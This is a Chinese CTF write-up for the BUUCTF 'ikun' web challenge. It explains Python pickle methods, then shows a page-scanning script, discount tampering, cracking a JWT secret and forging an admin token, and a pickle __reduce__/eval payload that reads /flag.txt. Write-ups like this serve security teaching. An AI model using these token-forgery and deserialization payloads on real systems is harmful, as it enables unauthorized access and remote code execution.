知识点

JWT基础学习

JWT爆破工具

JWT工具

pickle常用函数
  • pickle.dump(obj, file, [,protocol])

    函数的功能:将obj对象序列化存入已经打开的file中。

    参数讲解:

          obj:想要序列化的obj对象。
          file:文件名称。
          protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
    
  • pickle.load(file)

    函数的功能:将file中的对象序列化读出。

    参数讲解:

    ​ file:文件名称。

  • pickle.dumps(obj, [protocol])

    函数的功能:将obj对象序列化为string形式,而不是存入文件中。

    参数讲解:

         obj:想要序列化的obj对象。
         protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本
    
  • pickle.loads(string)

    函数的功能:从string中读出序列化前的obj对象。

    参数讲解:

    ​ string:文件名称。

pickle的协议
  • __getinitargs__(self): 如果想要你的类在反pickle的时候调用__init__,定义这个协议,它会返回一个参数元祖,这个元组他会传递给__init__.但是这个方法只能适用于旧式类
  • __getnewargs__(self): 对于新式类,可以通过这个方法改变类在反pickle是传递给__new__的参数,这个方法应该返回一个参数元组
  • __getstate__(self): 你可以自定义对象被pickle时保存的状态,而不使用对象的__dict__属性,这个状态在对像被反pickle时会被__setstate__使用
  • __setstate__(self): 当一个对象被反pickle的时候,如果定义了__setstate__对象的状态会传递给这个魔术方法,而不是直接应用到对象__dict__属性。这个魔术方法和__getstate__相互依存:当这两个方法都被定义时,你可以在pickle时使用任何方法保存对象的任何状态
  • __reduce__(self): 当定义扩展类型时,如果你想pickle他们,你必须告诉python如何pickle他们,__reduce__方法被定义之后,当对象被pickle时就会被调用,他要么返回一个带有全局名称的字符串,python会查找它并且pickle,要么返回一个元组,这个元组包含2-5个元素,其中包括了:
    • 一个可调用的对象,用于重建对象时调用,
    • 一个参数元素,供那个可调用对象使用
    • 被传递给__setstate__的状态(可选)
    • 一个产生被pickle的列表元素的迭代器(可选)
    • 一个产生被pickle的字典元素的迭代器(可选)
做题过程

打开题目,发现有登录和注册功能,测试SQL注入之后没结果,注册并登录账号。

查看源代码,发现有:

image-20220118121104377

我们需要找到lv6

点击下一页之后观察url构造

image-20220118121207364

image-20220118121427032

编写python脚本:

import requests

url = "http://7b946522-766b-4a93-8449-f1e3d5b7436a.node4.buuoj.cn:81/shop?page={}"
for i in range(1000):
    urll = url.format(i)
    res = requests.get(urll)
    if "lv6.png" in res.text:
        print("lv6 is in: ", urll)
        break

image-20220118123338676

但是发现太贵了,买不起。

抓包修改折扣

image-20220118123529757

但是只允许admin访问

image-20220118123624733

再次抓包,发现JWT:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78

爆破得到密钥为1Kun

image-20220118144811791

伪造JWT

image-20220118145129745

信息泄露

image-20220118145447180

下载得到源码,审计之后发现了,具有python反序列化漏洞

image-20220118150836305

将传入得become参数值进行了反序列化操作,我们需要构造恶意代码

import pickle
import urllib

class exp(object):
	def __reduce__(self):
		return (eval, ("open('/flag.txt').read()", ))
result = pickle.dumps(exp())
print(urllib.quote(result))

image-20220118154959440

传入become参数,可以得到flag

image-20220118155141606

参考

[(BUUCTF][CISCN2019 华北赛区 Day1 Web2]ikun_Y4tacker的博客-CSDN博客

[CISCN2019 华北赛区 Day1 Web2]ikun_feng的博客-CSDN博客

[CISCN2019 华北赛区 Day1 Web2]ikun | 信安小蚂蚁 (gitee.io)